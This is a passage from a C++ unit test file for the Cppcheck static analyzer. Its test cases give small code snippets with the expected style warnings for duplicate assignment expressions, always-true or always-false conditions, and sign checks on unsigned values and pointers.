= f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", 